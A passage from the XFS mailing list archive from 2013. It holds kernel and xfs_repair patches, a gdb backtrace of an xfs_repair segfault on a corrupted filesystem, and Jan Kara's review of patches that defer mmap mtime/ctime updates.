BUFFER_FNS(Write_EIO, write_io_error) BUFFER_FNS(Unwritten, unwritten) BUFFER_FNS(Meta, meta) BUFFER_FNS(Prio, prio) +BUFFER_FNS(Defer_Completion, defer_completion) #define bh_offset(bh) ((unsigned long)(bh)->b_data & ~PAGE_MASK) diff --git a/include/linux/fs.h b/include/linux/fs.h index 9818747..913aeee 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -46,6 +46,7 @@ struct vfsmount; struct cred; struct swap_info_struct; struct seq_file; +struct workqueue_struct; extern void __init inode_init(void); extern void __init inode_init_early(void); @@ -63,8 +64,7 @@ struct buffer_head; typedef int (get_block_t)(struct inode *inode, sector_t iblock, struct buffer_head *bh_result, int create); typedef void (dio_iodone_t)(struct kiocb *iocb, loff_t offset, - ssize_t bytes, void *private, int ret, - bool is_async); + ssize_t bytes, void *private); #define MAY_EXEC 0x00000001 #define MAY_WRITE 0x00000002 @@ -1328,6 +1328,9 @@ struct super_block { /* Being remounted read-only */ int s_readonly_remount; + + /* AIO completions deferred from interrupt context */ + struct workqueue_struct *s_dio_done_wq; }; /* superblock cache pruning functions */ -- 1.8.1.4 From sandeen@sandeen.net Wed Sep 4 08:39:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B6EC47F53 for ; Wed, 4 Sep 2013 08:39:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9DA898F8039 for ; Wed, 4 Sep 2013 06:39:50 -0700 (PDT) X-ASG-Debug-ID: 1378301989-04cbb02c3ed37cf0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id H7sH2BFEWsGSFXOA for ; Wed, 04 Sep 2013 06:39:49 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B117668C60E2; Wed, 4 Sep 2013 08:39:48 -0500 (CDT) Message-ID: <52273823.6050704@sandeen.net> Date: Wed, 04 Sep 2013 08:39:47 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Jan Yves Brueckner CC: xfs@oss.sgi.com Subject: Re: xfs_repair segfaulting in phase 3 References: X-ASG-Orig-Subj: Re: xfs_repair segfaulting in phase 3 In-Reply-To: X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378301989 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140314 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 8/12/13 6:38 AM, Jan Yves Brueckner wrote: > Hi there, > > as in previous posts we've got a problem in repair/dir2.c after a > xfs_repair -L -m 60000 segfaulting reproducibly at the very same > point of recovery; > > I did the initial repair with debianish 2.9.8 (some patches applied); > then upgrading to latest stable 3.1.11 where the problem persists. > > 3.1.11 when compiled w/o optimization and run with gdb however > segfaulted in libpthread so I repeated with an -O0 of 2.9.8 to get > the debugging information: > Jan - 3 bugfixes into this, and I can get repair to complete w/o a segv. However, the fs is still not fully repaired. Nor is it fully repaired after the 2nd pass, etc etc. :( So you may have contributed a bit to xfs_repair stability by uncovering this, but I'm not sure I will be able to contribute to recovery of your (apparently _severely_ damaged) filesystem. :( -Eric > corrupt block 35 in directory inode 39869938 > > will junk block > > corrupt block 51 in directory inode 39869938 > > will junk block > > > > Program received signal SIGSEGV, Segmentation fault. > > [Switching to Thread 0x7fcd982ae730 (LWP 19563)] > > 0x0000000000419428 in verify_dir2_path (mp=0x7ffff8381580, > cursor=0x7ffff8380f10, p_level=0) at dir2.c:619 > > 619 node = cursor->level[this_level].bp->data; > > (gdb) info locals > > node = (xfs_da_intnode_t *) 0x7ffff8380e94 > > newnode = (xfs_da_intnode_t *) 0x52202867f8380de0 > > dabno = 0 > > bp = (xfs_dabuf_t *) 0x80000200000001 > > bad = -474527744 > > entry = 0 > > this_level = 1 > > bmp = (bmap_ext_t *) 0x1 > > nex = 134250496 > > lbmp = {startoff = 8459390528, startblock = 72058695280238674, > blockcount = 140737357811264, flag = 4309438} > > __PRETTY_FUNCTION__ = "verify_dir2_path" > > (gdb) > > > > (gdb) bt > > #0 0x0000000000419428 in verify_dir2_path (mp=0x7ffff8381580, > cursor=0x7ffff8380f10, p_level=0) at dir2.c:619 > > #1 0x000000000041c441 in process_leaf_level_dir2 (mp=0x7ffff8381580, > da_cursor=0x7ffff8380f10, repair=0x7ffff8381134) > > at dir2.c:1899 > > #2 0x000000000041c61e in process_node_dir2 (mp=0x7ffff8381580, > ino=39869938, dip=0x7fc9e2b38000, blkmap=0x7fca249ffd40, > > repair=0x7ffff8381134) at dir2.c:1979 > > #3 0x000000000041c8cf in process_leaf_node_dir2 (mp=0x7ffff8381580, > ino=39869938, dip=0x7fc9e2b38000, ino_discovery=1, > > dirname=0x4911f6 "", parent=0x7ffff8381398, blkmap=0x7fca249ffd40, > dot=0x7ffff838113c, dotdot=0x7ffff8381138, > > repair=0x7ffff8381134, isnode=1) at dir2.c:2059 > > #4 0x000000000041cb33 in process_dir2 (mp=0x7ffff8381580, > ino=39869938, dip=0x7fc9e2b38000, ino_discovery=1, > > dino_dirty=0x7ffff8381390, dirname=0x4911f6 "", > parent=0x7ffff8381398, blkmap=0x7fca249ffd40) at dir2.c:2113 > > #5 0x00000000004127ac in process_dinode_int (mp=0x7ffff8381580, > dino=0x7fc9e2b38000, agno=0, ino=39869938, was_free=0, > > dirty=0x7ffff8381390, cleared=0x7ffff838138c, used=0x7ffff8381394, > verify_mode=0, uncertain=0, ino_discovery=1, > > check_dups=0, extra_attr_check=1, isa_dir=0x7ffff8381388, > parent=0x7ffff8381398) at dinode.c:2783 > > #6 0x0000000000412d94 in process_dinode (mp=0x7ffff8381580, > dino=0x7fc9e2b38000, agno=0, ino=39869938, was_free=0, > > dirty=0x7ffff8381390, cleared=0x7ffff838138c, used=0x7ffff8381394, > ino_discovery=1, check_dups=0, extra_attr_check=1, > > isa_dir=0x7ffff8381388, parent=0x7ffff8381398) at dinode.c:3017 > > #7 0x000000000040b607 in process_inode_chunk (mp=0x7ffff8381580, > agno=0, num_inos=64, first_irec=0x751c810, ino_discovery=1, > > check_dups=0, extra_attr_check=1, bogus=0x7ffff8381430) at > dino_chunks.c:778 > > #8 0x000000000040bf46 in process_aginodes (mp=0x7ffff8381580, > pf_args=0x75e6810, agno=0, ino_discovery=1, check_dups=0, > > extra_attr_check=1) at dino_chunks.c:1025 > > #9 0x0000000000421db3 in process_ag_func (wq=0x1fe3790, agno=0, > arg=0x75e6810) at phase3.c:162 > > #10 0x0000000000421f84 in process_ags (mp=0x7ffff8381580) at > phase3.c:201 > > #11 0x00000000004220aa in phase3 (mp=0x7ffff8381580) at phase3.c:240 > > #12 0x000000000043bec4 in main (argc=5, argv=0x7ffff83818c8) at > xfs_repair.c:697 > > > > > > I'll get the metadump on request. > > > > > > Thanks for helping, > > > > Jan > > > > _______________________________________________ xfs mailing list > xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs > From jack@suse.cz Wed Sep 4 09:06:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D19507F58 for ; Wed, 4 Sep 2013 09:06:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B08D130405F for ; Wed, 4 Sep 2013 07:06:40 -0700 (PDT) X-ASG-Debug-ID: 1378303598-04cb6c2e9cd43490001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 0XgorvByXay9yuSa for ; Wed, 04 Sep 2013 07:06:39 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 2B463A50DE; Wed, 4 Sep 2013 16:06:38 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 5534480E0A; Wed, 4 Sep 2013 16:06:35 +0200 (CEST) Date: Wed, 4 Sep 2013 16:06:35 +0200 From: Jan Kara To: Andy Lutomirski Cc: linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, Dave Chinner , Theodore Ts'o , Dave Hansen , xfs@oss.sgi.com, Jan Kara , Tim Chen , Christoph Hellwig Subject: Re: [PATCH v3 0/5] Rework mtime and ctime updates on mmaped writes Message-ID: <20130904140635.GC3996@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v3 0/5] Rework mtime and ctime updates on mmaped writes References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378303599 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140316 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu 22-08-13 17:03:16, Andy Lutomirski wrote: > Writes via mmap currently update mtime and ctime in ->page_mkwrite. > This hurts both throughput and latency. In workloads that dirty a > large number of mmapped pages, ->page_mkwrite can be hot and > file_update_time is slow and scales poorly. Updating timestamps can > also sleep, which hurts latency for real-time workloads. > > This is also a correctness issue. SuS says: > > The st_ctime and st_mtime fields of a file that is mapped with > MAP_SHARED and PROT_WRITE, will be marked for update at some point > in the interval between a write reference to the mapped region and > the next call to msync() with MS_ASYNC or MS_SYNC for that portion > of the file by any process. If there is no such call, these fields > may be marked for update at any time after a write reference if > the underlying file is modified as a result. > > Currently, if the same mmapped page is written twice, the timestamp > may not be update at all after the second write, whereas SuS (and > anything using timestamps to invalidate caches, backup data, etc.) > would expect the timestamp to eventually be updated. > > This patchset attempts to fix both issues at once. It adds a new > address_space flag AS_CMTIME that is set atomically whenever the > system transfers a pte dirty bit to a struct page backed by the > address_space. This can happen with various locks held and when low > on memory. > > Later on, a_ops.update_cmtime_deferred is called to tell the FS to > update cmtime due to a previous mmapped write. > > The core changes have no effect on unmodified filesystems. To opt in, > a filesystem should implement .update_cmtime_deferred (most likely by > using generic_update_cmtime_deferred) and must call either > mapping_flush_cmtime or mapping_test_clear_cmtime in .writepages. > Filesystems should avoid updating timestamps in ->page_mkwrite. > > The reason that this is not completely automatic is that filesystems > without backing stores do not really fit in to this model. > Eventually, someone can add support. > > I've converted ext4, xfs, and btrfs. Converting most other > filesystems should be straightforward. > > I wrote an xfstest for this. ext4, xfs, and btrfs pass. It's here: > > https://github.com/amluto/xfstests/commit/5fbb72ac799cc44a9c4c6d3919f00a479202c899 > > This series is pullable from: > > https://git.kernel.org/cgit/linux/kernel/git/luto/linux.git/log/?h=mmap_mtime/patch_v4 As a general note, I think you should CC linux-mm@kvack.org on this series so that mm guys are more likely to notice it. Since the patches touch mm you should probably get some opinions from them... Honza > > Changes from v3: > - The new address space op is now called update_cmtime_deferred. > Callers take care of protection from fs freezing and checking > AS_CMTIME. I fixed a deadlock in the freezer interaction. > - Block plugs should be handled better. > - Fixed an infinite loop in msync(MS_ASYNC). > - Converted xfs and btrfs. > - Misc minor cleanups. > - Fixed a corner case: reclaim or migration could have cleaned all > pages without updating cmtime. > > Changes from v2: > - The core code now interacts with filesystems only through > address_space ops, so there should be fewer layering issues. > - MS_ASYNC is handled correctly. > > Changes from v1: > - inode_update_time_writable now locks against the fs freezer. > - Minor cleanups. > - Major changelog improvements. > > Andy Lutomirski (7): > mm: Track mappings that have been written via ptes > fs: Add inode_update_time_writable > mm: Allow filesystems to defer cmtime updates > mm: Scan for dirty ptes and update cmtime on MS_ASYNC > ext4: Defer mmap cmtime updates > btrfs: Defer mmap cmtime updates > xfs: Defer mmap cmtime updates > > fs/btrfs/extent_io.c | 1 + > fs/btrfs/inode.c | 32 +++++++++--------- > fs/buffer.c | 7 ---- > fs/ext4/inode.c | 11 +++++-- > fs/inode.c | 64 +++++++++++++++++++++++++++--------- > fs/xfs/xfs_aops.c | 1 + > include/linux/fs.h | 9 +++++ > include/linux/pagemap.h | 22 +++++++++++++ > include/linux/writeback.h | 1 + > mm/memory.c | 7 +++- > mm/migrate.c | 2 ++ > mm/mmap.c | 6 +++- > mm/msync.c | 84 ++++++++++++++++++++++++++++++++++++++++------- > mm/page-writeback.c | 53 +++++++++++++++++++++++++++++- > mm/rmap.c | 27 +++++++++++++-- > mm/vmscan.c | 1 + > 16 files changed, 272 insertions(+), 56 deletions(-) > > -- > 1.8.3.1 > -- Jan Kara SUSE Labs, CR From jack@suse.cz Wed Sep 4 09:57:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 656E07F58 for ; Wed, 4 Sep 2013 09:57:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 025A2AC002 for ; Wed, 4 Sep 2013 07:57:46 -0700 (PDT) X-ASG-Debug-ID: 1378306663-04bdf02f20d697b0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id v7XIHs2Se6bGuVrd for ; Wed, 04 Sep 2013 07:57:44 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id ECC53A51BB; Wed, 4 Sep 2013 16:57:42 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id AED1A80E0A; Wed, 4 Sep 2013 16:57:40 +0200 (CEST) Date: Wed, 4 Sep 2013 16:57:40 +0200 From: Jan Kara To: Andy Lutomirski Cc: linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, Dave Chinner , Theodore Ts'o , Dave Hansen , xfs@oss.sgi.com, Jan Kara , Tim Chen , Christoph Hellwig Subject: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates Message-ID: <20130904145740.GE3996@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378306663 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140320 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu 22-08-13 17:03:19, Andy Lutomirski wrote: > Filesystems that defer cmtime updates should update cmtime when any > of these events happen after a write via a mapping: > > - The mapping is written back to disk. This happens from all kinds > of places, most of which eventually call ->writepages. (The > exceptions are vmscan and migration.) > > - munmap is called or the mapping is removed when the process exits > > - msync(MS_ASYNC) is called. Linux currently does nothing for > msync(MS_ASYNC), but POSIX says that cmtime should be updated some > time between an mmaped write and the subsequent msync call. > MS_SYNC calls ->writepages, but MS_ASYNC needs special handling. > > Filesystems are responsible for checking for pending deferred cmtime > updates in .writepages (a helper is provided for this purpose) and > for doing the actual update in .update_cmtime_deferred. > > These changes have no effect by themselves; filesystems must opt in > by implementing .update_cmtime_deferred and removing any > file_update_time call in .page_mkwrite. > > This patch does not implement the MS_ASYNC case; that's in the next > patch. > > Signed-off-by: Andy Lutomirski ... > +/** > + * generic_update_cmtime_deferred - update cmtime after an mmapped write > + * @mapping: The mapping > + * > + * This library function implements .update_cmtime_deferred. It is unlikely > + * that any filesystem will want to do anything here except update the time > + * (using this helper) or nothing at all (by leaving .update_cmtime_deferred > + * NULL). > + */ > +void generic_update_cmtime_deferred(struct address_space *mapping) > +{ > + struct blk_plug plug; > + blk_start_plug(&plug); > + inode_update_time_writable(mapping->host); > + blk_finish_plug(&plug); > +} > +EXPORT_SYMBOL(generic_update_cmtime_deferred); > + You can remove the pluggin here. Inode update will likely result in a single write so there's no point. > @@ -1970,6 +1988,39 @@ int write_one_page(struct page *page, int wait) > } > EXPORT_SYMBOL(write_one_page); > > +void mapping_flush_cmtime(struct address_space *mapping) > +{ > + if (mapping_test_clear_cmtime(mapping) && > + mapping->a_ops->update_cmtime_deferred) > + mapping->a_ops->update_cmtime_deferred(mapping); > +} > +EXPORT_SYMBOL(mapping_flush_cmtime); Hum, is there a reason for update_cmtime_deferred() operation? I can hardly imagine anyone will want to do anything else than what inode_update_time_writable() does so why bother? You mention tmpfs & co. don't fit into your scheme well with which I agree so let's just keep file_update_time() in their page_mkwrite() operation. But I don't see a real need for avoiding the deferred cmtime logic... > + > +void mapping_flush_cmtime_nowb(struct address_space *mapping) > +{ > + /* > + * We get called from munmap and msync. Both calls can race > + * with fs freezing. If the fs is frozen after > + * mapping_test_clear_cmtime but before the time update, then > + * sync_filesystem will miss the cmtime update (because we > + * just cleared it) and we don't be able to write (because the > + * fs is frozen). On the other hand, we can't just return if > + * we're in the SB_FREEZE_PAGEFAULT state because our caller > + * expects the timestamp to be synchronously updated. So we > + * get write access without blocking, at the SB_FREEZE_FS > + * level. If the fs is already fully frozen, then we already > + * know we have nothing to do. > + */ > + > + if (!mapping_test_cmtime(mapping)) > + return; /* Optimization: nothing to do. */ > + > + if (__sb_start_write(mapping->host->i_sb, SB_FREEZE_FS, false)) { > + mapping_flush_cmtime(mapping); > + __sb_end_write(mapping->host->i_sb, SB_FREEZE_FS); > + } > +} This is wrong because SB_FREEZE_FS level is targetted for filesystem internal use. Also it is racy. mapping_flush_cmtime() ends up calling mark_inode_dirty() and filesystems such as ext4 or xfs will start a transaction to store inode in the journal. This gets freeze protection at SB_FREEZE_FS level again. If freeze_super() sets s_writers.frozen to SB_FREEZE_FS before this second protection, things will deadlock. Since the callers of this function hold mmap_sem, using SB_FREEZE_PAGEFAULT protection would be appropriate. Also since there are just two places that need the freeze protection I'd be inclined to open code the protection in the two places rather than hiding it in a special function. Honza -- Jan Kara SUSE Labs, CR From jack@suse.cz Wed Sep 4 10:09:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 064187F58 for ; Wed, 4 Sep 2013 10:09:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E89C28F8040 for ; Wed, 4 Sep 2013 08:08:57 -0700 (PDT) X-ASG-Debug-ID: 1378307336-04cb6c153dd40d10001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id Gos8zwjsK0aYSEWs for ; Wed, 04 Sep 2013 08:08:57 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 67D5BA52C6; Wed, 4 Sep 2013 17:08:56 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 75A1080E0A; Wed, 4 Sep 2013 17:08:54 +0200 (CEST) Date: Wed, 4 Sep 2013 17:08:54 +0200 From: Jan Kara To: Andy Lutomirski Cc: linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, Dave Chinner , Theodore Ts'o , Dave Hansen , xfs@oss.sgi.com, Jan Kara , Tim Chen , Christoph Hellwig Subject: Re: [PATCH v3 0/5] Rework mtime and ctime updates on mmaped writes Message-ID: <20130904150854.GF3996@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v3 0/5] Rework mtime and ctime updates on mmaped writes References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378307336 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140320 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu 22-08-13 17:03:16, Andy Lutomirski wrote: > Writes via mmap currently update mtime and ctime in ->page_mkwrite. > This hurts both throughput and latency. In workloads that dirty a > large number of mmapped pages, ->page_mkwrite can be hot and > file_update_time is slow and scales poorly. Updating timestamps can > also sleep, which hurts latency for real-time workloads. It would help to make your case if you posted the latency comparison before & after the patchset in this introductory email. We can then see how significant is the reduction of latency... Honza -- Jan Kara SUSE Labs, CR From sandeen@sandeen.net Wed Sep 4 10:19:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CC887F58 for ; Wed, 4 Sep 2013 10:19:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0BB4E304032 for ; Wed, 4 Sep 2013 08:19:52 -0700 (PDT) X-ASG-Debug-ID: 1378307991-04cb6c2e9dd45df0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id DSmyHkoLBybNePzV for ; Wed, 04 Sep 2013 08:19:51 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 65EA9687F447 for ; Wed, 4 Sep 2013 10:19:51 -0500 (CDT) Message-ID: <52274F96.2010702@sandeen.net> Date: Wed, 04 Sep 2013 10:19:50 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfs_repair: test for bad level in dir2 node X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfs_repair: test for bad level in dir2 node Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378307991 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In traverse_int_dir2block(), the variable 'i' is the level in the tree, with 0 being a leaf node. In the "do" loop we start at the root, and work our way down to a leaf. If the first node we read is an interior node with NODE_MAGIC, but it tells us that its level is 0 (a leaf), this is clearly an inconsistency. Worse, we'd return with success, bno set, and only level[0] in the cursor initialized. Then down this path we'll segfault when accessing an uninitialized (and zeroed) member of the cursor's level array: process_node_dir2 traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd process_leaf_level_dir2 verify_dir2_path(mp, da_cursor, 0) // p_level == 0 this_level = p_level + 1; node = cursor->level[this_level].bp->b_addr; // level[1] uninit & 0'd Fix this by recognizing that an interior node w/ level 0 is invalid, and error out as for other inconsistencies. Signed-off-by: Eric Sandeen --- My only testcase for this is Jan Yves Brueckner's badly corrupted filesystem image. With this change, we get i.e. : +bad level in interior inode for directory inode 39869938 +corrupt block 6 in directory inode 39869957 + will junk block diff --git a/repair/dir2.c b/repair/dir2.c index 05bd4b7..20c6e1a 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -220,6 +220,16 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), */ if (i == -1) { i = da_cursor->active = nodehdr.level; + if (i == 0 && + (nodehdr.magic == XFS_DA_NODE_MAGIC || + nodehdr.magic == XFS_DA3_NODE_MAGIC)) { + do_warn( +_("bad level 0 in interior inode for directory inode %" PRIu64 "\n"), + da_cursor->ino); + libxfs_putbuf(bp); + i = -1; + goto error_out; + } if (i >= XFS_DA_NODE_MAXDEPTH) { do_warn( _("bad header depth for directory inode %" PRIu64 "\n"), From luto@amacapital.net Wed Sep 4 12:33:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5967D7F53 for ; Wed, 4 Sep 2013 12:33:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2C4F68F8040 for ; Wed, 4 Sep 2013 10:33:45 -0700 (PDT) X-ASG-Debug-ID: 1378316023-04bdf02f23d77b10001-NocioJ Received: from mail-vc0-f170.google.com (mail-vc0-f170.google.com [209.85.220.170]) by cuda.sgi.com with ESMTP id v1a9Q8o6IiqBEpCx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 04 Sep 2013 10:33:43 -0700 (PDT) X-Barracuda-Envelope-From: luto@amacapital.net X-Barracuda-Apparent-Source-IP: 209.85.220.170 Received: by mail-vc0-f170.google.com with SMTP id kw10so399286vcb.29 for ; Wed, 04 Sep 2013 10:33:43 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=DAf29RcDCGVeniyLurAMUwnbGJoiQm1sXsteaO3tt8M=; b=iu7kM9cdhfpH2hYqLK7TxIUo5xwExJbPfXO7qlsm4zhgulTN/qjP2SMcjBq1ohuKqD KlCrO2ipxlNxZ0if2Xrza5Ng6KFuerPoiSZF28/DdQZrqmkablKDSmaqx1xAPUFQe0qc Rn6Kl1XPXWi+EssmHv3oSbPPKQ9P+NM8Wv1Jq/Z1nVTcyXpoz5DGjUYqx53Se2C3ZR6S 